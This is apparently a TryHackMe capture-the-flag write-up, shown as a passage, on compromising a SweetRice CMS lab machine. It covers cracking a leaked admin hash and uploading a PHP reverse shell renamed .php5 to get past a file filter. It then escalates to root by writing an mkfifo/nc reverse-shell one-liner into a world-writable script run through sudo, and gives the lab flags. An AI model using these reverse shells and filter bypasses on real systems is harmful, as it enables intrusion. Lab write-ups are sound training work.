Welcome to SweetRice - Thank your for install SweetRice as your website management system.
If you are the webmaster,please go to Dashboard -> General -> Website setting
and uncheck the checkbox \\"Site close\\" to open your website.
More help at Tip for Basic CMS SweetRice installed
\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');', [REDACTED] ``` We have a hash: `42f749ade7f9e195bf475f37a44cafcb`. Let's search for it online (e.g. [https://crackstation.net/](https://crackstation.net/)). We now have an account: * Username: `manager` * Password: `Password123` Now, still analyzing the source of the CMS on github, we see that the administration panel is accessible from the `as` subdirectory. Let's connect to [http://10.10.5.11/content/as/](http://10.10.5.11/content/as/) with the credentials found. We are now connected. Interestingly, we find that the version is `1.5.1` (and not `1.5.0` as the `changelog.txt` was suggesting). It seems we can create a post and attach a file. Let's try to attach a reverse shell ([http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz](http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz)). Put your IP on the reverse shell and rename it `shell.php5` (`*.php` extension is not allowed but `*.php5` works). ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1679157069510/478c6e08-2c4a-4b24-9a3b-b75bdb5c631c.png align="center") Now, start a listener on the port you specified in the reverse shell: ```plaintext $ rlwrap nc -nlvp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 ``` And browse [http://10.10.5.11/content/attachment/shell.php5](http://10.10.5.11/content/attachment/shell.php5). You should now have a shell: ```plaintext $ whoami www-data $ cd /home $ ls itguy $ cd itguy $ ls Desktop Documents Downloads Music Pictures Public Templates Videos backup.pl examples.desktop mysql_login.txt user.txt $ cat user.txt THM{63e5bce9271952aad1113b6f1ac28a07} ``` User flag: `THM{63e5bce9271952aad1113b6f1ac28a07}` # #2 - What is the root flag? Very surprisingly for `www-data`, we have sudo privileges: ```plaintext $ sudo -l Matching Defaults entries for www-data on THM-Chal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on THM-Chal: (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl ``` The backup script is a perl script that calls `/etc/copy.sh` ```plaintext $ ls -l backup.pl -rw-r--r-x 1 root root 47 Nov 29 2019 backup.pl $ cat backup.pl #!/usr/bin/perl system("sh", "/etc/copy.sh"); $ cat backup.pl ``` And we have write access to the [`copy.sh`](http://copy.sh) file, which already contains a template of a reverse shell. ```plaintext $ ls -l /etc/copy.sh -rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh $ cat /etc/copy.sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f ``` All we need to do is open a listener on our machine: ```plaintext $ rlwrap nc -nlvp 5554 ``` And modify the template to use our IP, and start the script with `sudo`: ```plaintext $ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.50.72 5554 >/tmp/f" > /etc/copy.sh $ sudo perl /home/itguy/backup.pl ``` In our reverse shell, we now have root access: ```plaintext $ rlwrap nc -nlvp 5554 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::5554 Ncat: Listening on 0.0.0.0:5554 Ncat: Connection from 10.10.70.137. Ncat: Connection from 10.10.70.137:50422. /bin/sh: 0: can't access tty; job control turned off # cat /root/root.txt THM{6637f41d0177b6f37cb20d775124699f} ``` Root flag: `THM{6637f41d0177b6f37cb20d775124699f}`